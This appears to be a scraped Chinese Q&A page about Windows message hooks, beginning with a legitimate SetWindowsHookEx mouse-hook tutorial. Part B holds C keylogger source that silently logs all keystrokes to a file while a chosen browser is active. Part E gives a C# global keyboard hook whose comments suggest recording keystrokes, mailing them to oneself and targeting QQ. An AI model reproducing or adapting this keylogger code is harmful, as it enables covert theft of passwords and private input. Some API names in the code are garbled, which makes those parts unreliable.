vc鉤子源碼
A. VC鉤子函數是怎樣建立的
鉤子的本質是一段用以處理系統消息的程序,通過系統調用,將其掛入到系統。鉤子的種類有很多,每一種鉤子負責截獲並處理相應的消息。鉤子機制允許應用程序截獲並處理發往指定窗口的消息或特定事件,其監視的窗口即可以是本進程內的也可以是由其他進程所創建的。在特定的消息發出,並在到達目的窗口之前,鉤子程序先行截獲此消息並得到對其的控制權。此時在鉤子函數中就可以對截獲的消息進行各種修改處理,甚至強行終止該消息的繼續傳遞。
任何一個鉤子都由系統來維護一個指針列表(鉤子鏈表),其指針指向鉤子的各個處理函數。最近安裝的鉤子放在鏈的開始,最早安裝的鉤子則放在最後,當鉤子監視的消息出現時,操作系統調用鏈表開始處的第一個鉤子處理函數進行處理,也就是說最後加入的鉤子優先獲得控制權。在這里提到的鉤子處理函數必須是一個回調函數(callback function),而且不能定義為類成員函數,必須定義為普通的C函數。在使用鉤子時可以根據其監視范圍的不同將其分為全局鉤子和線程鉤子兩大類,其中線程鉤子只能監視某個線程,而全局鉤子則可對在當前系統下運行的所有線程進行監視。顯然,線程鉤子可以看作是全局鉤子的一個子集,全局鉤子雖然功能強大但同時實現起來也比較煩瑣:其鉤子函數的實現必須封裝在動態鏈接庫中才可以使用。
鉤子的安裝與卸載
由於全局鉤子具有相當的廣泛性而且在功能上完全覆蓋了線程鉤子,因此下面就主要對應用較多的全局鉤子的安裝與使用進行討論。前面已經提過,操作系統是通過調用鉤子鏈表開始處的第一個鉤子處理函數而進行消息攔截處理的。因此,為了設置鉤子,只需將回調函數放置於鏈首即可,操作系統會使其首先被調用。在具體實現時由函數SetWindowsHookEx()負責將回調函數放置於鉤子鏈表的開始位置。SetWindowsHookEx()函數原型聲明如下:
HHOOK SetWindowsHookEx(int idHook;
HOOKPROC lpfn;
HINSTANCE hMod;
DWORD dwThreadId);
其中:參數idHook 指定了鉤子的類型,總共有如下13種:
WH_CALLWNDPROC 系統將消息發送到指定窗口之前的"鉤子"
WH_CALLWNDPROCRET 消息已經在窗口中處理的"鉤子"
WH_CBT 基於計算機培訓的"鉤子"
WH_DEBUG 差錯"鉤子"
WH_FOREGROUNDIDLE 前台空閑窗口"鉤子"
WH_GETMESSAGE 接收消息投遞的"鉤子"
WH_JOURNALPLAYBACK 回放以前通過WH_JOURNALRECORD"鉤子"記錄的輸入消息
WH_JOURNALRECORD 輸入消息記錄"鉤子"
WH_KEYBOARD 鍵盤消息"鉤子"
WH_MOUSE 滑鼠消息"鉤子"
WH_MSGFILTER 對話框、消息框、菜單或滾動條輸入消息"鉤子"
WH_SHELL 外殼"鉤子"
WH_SYSMSGFILTER 系統消息"鉤子"
參數lpfn為指向鉤子處理函數的指針,即回調函數的首地址;參數hMod則標識了鉤子處理函數所處模塊的句柄;第四個參數dwThreadId 指定被監視的線程,如果明確指定了某個線程的ID就只監視該線程,此時的鉤子即為線程鉤子;如果該參數被設置為0,則表示此鉤子為監視系統所有線程的全局鉤子。此函數在執行完後將返回一個鉤子句柄。
雖然對於線程鉤子並不要求其象全局鉤子一樣必須放置於動態鏈接庫中,但是推薦其也在動態鏈接庫中實現。因為這樣的處理不僅可使鉤子可為系統內的多個進程訪問,也可以在系統中被直接調用,而且對於一個只供單進程訪問的鉤子,還可以將其鉤子處理過程放在安裝鉤子的同一個線程內,此時SetWindowsHookEx()函數的第三個參數也就是該線程的實例句柄。
在SetWindowsHookEx()函數完成對鉤子的安裝後,如果被監視的事件發生,系統馬上會調用位於相應鉤子鏈表開始處的鉤子處理函數進行處理,每一個鉤子處理函數在進行相應的處理時都要考慮是否需要把事件傳遞給下一個鉤子處理函數。如果要傳遞,就通過函數CallNestHookEx()來解決。盡管如此,在實際使用時還是強烈推薦無論是否需要事件傳遞而都在過程的最後調用一次CallNextHookEx( )函數,否則將會引起一些無法預知的系統行為或是系統鎖定。該函數將返回位於鉤子鏈表中的下一個鉤子處理過程的地址,至於具體的返回值類型則要視所設置的鉤子類型而定。該函數的原型聲明如下:
LRESULT CallNextHookEx(HHOOK hhk;int nCode;WPARAM wParam;LPARAM lParam);
其中,參數hhk為由SetWindowsHookEx()函數返回的當前鉤子句柄;參數nCode為傳給鉤子過程的事件代碼;參數wParam和lParam 則為傳給鉤子處理函數的參數值,其具體含義同設置的鉤子類型有關。
最後,由於安裝鉤子對系統的性能有一定的影響,所以在鉤子使用完畢後應及時將其卸載以釋放其所佔資源。釋放鉤子的函數為UnhookWindowsHookEx(),該函數比較簡單只有一個參數用於指定此前由SetWindowsHookEx()函數所返回的鉤子句柄,原型聲明如下:
BOOL UnhookWindowsHookEx(HHOOK hhk); 滑鼠鉤子的簡單示例
最後,為更清楚展示HOOK技術在VC編程中的應用,給出一個有關滑鼠鉤子使用的簡單示例。在鉤子設置時採用的是全局鉤子。下面就對滑鼠鉤子的安裝、使用以及卸載等過程的實現進行講述:
由於本常式需要使用全局鉤子,因此首先構造全局鉤子的載體--動態鏈接庫。考慮到Win32 DLL與Win16 DLL存在的差別,在Win32環境下要在多個進程間共享數據,就必須採取一些措施將待共享的數據提取到一個獨立的數據段,並通過def文件將其屬性設置為讀寫共享:
#pragma data_seg("TestData")
HWND glhPrevTarWnd=NULL; // 窗口句柄
HWND glhHook=NULL; // 滑鼠鉤子句柄
HINSTANCE glhInstance=NULL; // DLL實例句柄
#pragma data_seg()
……
SECTIONS // def文件中將數據段TestData設置為讀寫共享
TestData READ WRITE SHARED
在安裝全局滑鼠鉤子時使用函數SetWindowsHookEx(),並設定滑鼠鉤子的處理函數為MouseProc(),安裝函數返回的鉤子句柄保存於變數glhHook中:
void StartHook(HWND hWnd)
{
……
glhHook=(HWND)SetWindowsHookEx(WH_MOUSE,MouseProc,glhInstance,0);
}
滑鼠鉤子安裝好後,在移動、點擊滑鼠時將會發出滑鼠消息,這些消息均經過消息處理函數MouseProc()的攔截處理。在此,每當捕獲到系統各線程發出的任何滑鼠消息後首先獲取當前滑鼠所在位置下的窗口句柄,並進一步通過GetWindowText()函數獲取到窗口標題。在處理函數完成後,通過CallNextHookEx()函數將事件傳遞到鉤子列表中的下一個鉤子處理函數:
LRESULT WINAPI MouseProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LPMOUSEHOOKSTRUCT pMouseHook=(MOUSEHOOKSTRUCT FAR *) lParam;
if(nCode>=0)
{
HWND glhTargetWnd=pMouseHook->hwnd;
//取目標窗口句柄
HWND ParentWnd=glhTargetWnd;
while(ParentWnd !=NULL)
{
glhTargetWnd=ParentWnd;
//取應用程序主窗口句柄
ParentWnd=GetParent(glhTargetWnd);
}
if(glhTargetWnd!=glhPrevTarWnd)
{
char szCaption[100];
//取目標窗口標題
GetWindowText(glhTargetWnd,szCaption,100);
……
}
}
//繼續傳遞消息
return CallNextHookEx((HHOOK)glhHook,nCode,wParam,lParam);
}
最後,調用UnhookWindowsHookEx()函數完成對鉤子的卸載:
void StopHook()
{
……
UnhookWindowsHookEx((HHOOK)glhHook);
}
現在完成的是滑鼠鉤子的動態鏈接庫,經過編譯後需要經應用程序的調用才能實現對當前系統下各線程間滑鼠消息的攔截處理。這部分同普通動態鏈接庫的使用沒有任何區別,在將其載入到進程後,首先調用動態鏈接庫的StartHook()函數安裝好鉤子,此時即可對系統下的滑鼠消息實施攔截處理,在動態鏈接庫被卸載即終止滑鼠鉤子時通過動態鏈接庫中的StopHook()函數卸載滑鼠鉤子。
經上述編程,在安裝好滑鼠鉤子後,滑鼠在移動到系統任意窗口上時,馬上就會通過對滑鼠消息的攔截處理而獲取到當前窗口的標題。實驗證明此滑鼠鉤子的安裝、使用和卸載過程是正確的
B. vc鉤子代碼啊,新人,所以請大俠高手幫忙把重要地方注釋一下,特別是中間一大段抓按鍵的代碼,感激你全家
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
int i, temp;
int flag_shift;
int flag_capital;
int flag_alt;
int flag_control;
if (IE_is_active)
{
if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL))
{
flag_shift = 0x8000 & GetKeyState(VK_SHIFT); //SHIFT鍵是否按下
flag_capital = 0x0001 & GetKeyState(VK_CAPITAL); //同上
flag_alt = 0x8000 & GetKeyState(VK_MENU);//同上
flag_control = 0x8000 & GetKeyState(VK_CONTROL);//同上
}
if (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT &&
wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME &&
wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK &&
wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN &&
wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 &&
wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 &&
wParam!=VK_F11 && wParam!=VK_F12) //如果不是特殊按鍵
{
if ((0x80000000 & lParam) == 0) //鍵按下
{
if (wParam>=0x41 && wParam<=0x5a)
wParam+=32; //Kisbeture konvertalas
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL) //按下CAPITAL
temp=1;
else temp=0;
condition[count][wParam-16-temp]=1;
}
tomb[count] = wParam;
count++;
}
else //WM_KEYUP?
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL)
temp=1;
else temp=0;
condition[count][wParam-16-temp]=2;
tomb[count] = wParam;
count++;
}
if (count==CHARNUM)
{
stream = fopen(PLACEOFFILE, "a+");
for (i = 0; i < count; i++)
{
switch(tomb[i])
{
case VK_DELETE :
fprintf(stream, "%s", "<d>");
break;
case VK_RETURN :
fprintf(stream, "%s", "\n");
break;
case VK_BACK :
fprintf(stream, "%s", "<b>");
break;
case VK_SHIFT :
if (condition[i][SHIFT]==1)
fprintf(stream, "%s", "<sd>");
else
fprintf(stream, "%s", "<su>");
break;
case VK_CONTROL :
if (condition[i][CONTROL]==1)
fprintf(stream, "%s", "<ctd>");
else
fprintf(stream, "%s", "<ctu>");
break;
case VK_MENU :
if (condition[i][ALT]==1)
fprintf(stream, "%s", "<ad>");
else
fprintf(stream, "%s", "<au>");
break;
case VK_CAPITAL :
if (condition[i][CAPITAL]==1)
fprintf(stream, "%s", "<cpd>");
else
fprintf(stream, "%s", "<cpu>");
break;
default:
fprintf(stream, "%c", tomb[i]);
break;
}
}
fclose (stream);
count=0;
Initcondition();
}
}
}
return CallNextHookEx(hhook, code, wParam, lParam);
}
void Initcondition(void)
{
int i, j;
for (i=0; i<CHARNUM; i++)
for (j=0; j<CAPITAL+1; j++)
condition[i][j]=0;
}
LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code==HCBT_ACTIVATE)
{
GetClassName((HANDLE)wParam, text, TXTLENGTH);
// if (text[0]=='q' && text[1]=='q') //Class name of Internet-Explorer begins with IE
IE_is_active=TRUE;
//else
// IE_is_active=FALSE;
}
return CallNextHookEx(hhookMsg, code, wParam, lParam);
}
我也暈..
C. vc 鉤子 hook編程
不會吧……是不是彈出的MessageBox你也用滑鼠點擊了……
D. C++鍵盤鉤子的源代碼
HOOKDLL.dll和HOOKDLL.lib放到MFC的debug同文件夾下,回調HookDllProc函數需要導出,HookDllProc中要有按鍵消息處理才能截取到
E. 高分求一個用C#寫的鍵盤或滑鼠的鉤子源代碼
//*************************鍵盤鉤子代碼QQ:475476245**********************
//定義變數
public delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);
static int hKeyboardHook = 0;
HookProc KeyboardHookProcere;
/*************************
* 聲明API函數
* ***********************/
// 安裝鉤子 (using System.Runtime.InteropServices;)
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern int SetWindowsHookEx(int idHook,HookProc lpfn, IntPtr hInstance, int threadId);
// 卸載鉤子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern bool UnhookWindowsHookEx(int idHook);
// 繼續下一個鉤子
[DllImport("user32.dll",CharSet=CharSet.Auto, CallingC.StdCall)]
public static extern int CallNextHookEx(int idHook, int nCode, Int32 wParam, IntPtr lParam);
// 取得當前線程編號(線程鉤子需要用到)
[DllImport("kernel32.dll")]
static extern int GetCurrentThreadId();
//鉤子子程:就是鉤子所要做的事情
private int KeyboardHookProc(int nCode, Int32 wParam, IntPtr lParam)
{
if (nCode >= 0)
{
/****************
//線程鍵盤鉤子判斷是否按下鍵
Keys keyData = (Keys)wParam;
if(lParam.ToInt32() > 0)
{
// 鍵盤按下
}
if(lParam.ToInt32() < 0)
{
// 鍵盤抬起
}
****************/
/****************
//全局鍵盤鉤子判斷是否按下鍵
wParam = = 0x100 // 鍵盤按下
wParam = = 0x101 // 鍵盤抬起
****************/
KeyMSG m = (KeyMSG) Marshal.PtrToStructure(lParam, typeof(KeyMSG));//鍵盤
// 在這里添加你想要做是事情(比如把鍵盤nCode記錄下來,搞個郵件發送程序發到自己的郵箱去)
return 0;//如果返回1,則結束消息,這個消息到此為止,不再傳遞。如果返回0或調用CallNextHookEx函數則消息出了這個鉤子繼續往下傳遞,也就是傳給消息真正的接受者
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}
//鍵盤結構
public struct KeyMSG
{
public int vkCode; //鍵值
public int scanCode;
public int flags;
public int time;
public int dwExtraInfo;
}
// 安裝鉤子
public void HookStart()
{
if(hKeyboardHook == 0)
{
// 創建HookProc實例
KeyboardHookProcere = new HookProc(KeyboardHookProc);
// 設置線程鉤子
hKeyboardHook = SetWindowsHookEx( 13,KeyboardHookProcere,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetMoles()[0]),0);
//************************************
//鍵盤線程鉤子
//SetWindowsHookEx( 2,KeyboardHookProcere, IntPtr.Zero, GetCurrentThreadId()); //GetCurrentThreadId()為要監視的線程ID,你完全可以自己寫個方法獲取QQ的線程哦
//鍵盤全局鉤子,需要引用空間(using System.Reflection;)
//SetWindowsHookEx( 13,KeyboardHookProcere,Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetMoles()[0]),0);
//
//關於SetWindowsHookEx (int idHook, HookProc lpfn, IntPtr hInstance, int threadId)函數將鉤子加入到鉤子鏈表中,說明一下四個參數:
//idHook 鉤子類型,即確定鉤子監聽何種消息,上面的代碼中設為2,即監聽鍵盤消息並且是線程鉤子,如果是全局鉤子監聽鍵盤消息應設為13,
//線程鉤子監聽滑鼠消息設為7,全局鉤子監聽滑鼠消息設為14。
//
//lpfn 鉤子子程的地址指針。如果dwThreadId參數為0 或是一個由別的進程創建的線程的標識,lpfn必須指向DLL中的鉤子子程。 除此以外,lpfn可
//以指向當前進程的一段鉤子子程代碼。鉤子函數的入口地址,當鉤子鉤到任何消息後便調用這個函數。
//
//hInstance應用程序實例的句柄。標識包含lpfn所指的子程的DLL。如果threadId 標識當前進程創建的一個線程,而且子程代碼位於當前
//進程,hInstance必須為NULL。可以很簡單的設定其為本應用程序的實例句柄。
//
//threadedId 與安裝的鉤子子程相關聯的線程的標識符。如果為0,鉤子子程與所有的線程關聯,即為全局鉤子。
//************************************
// 如果設置鉤子失敗
if(hKeyboardHook == 0 )
{
HookStop();
throw new Exception("SetWindowsHookEx failed.");
}
}
}
// 卸載鉤子
public void HookStop()
{
bool retKeyboard = true;
if(hKeyboardHook != 0)
{
retKeyboard = UnhookWindowsHookEx(hKeyboardHook);
hKeyboardHook = 0;
}
if (!( retKeyboard))
throw new Exception("UnhookWindowsHookEx failed.");
}
//*****************************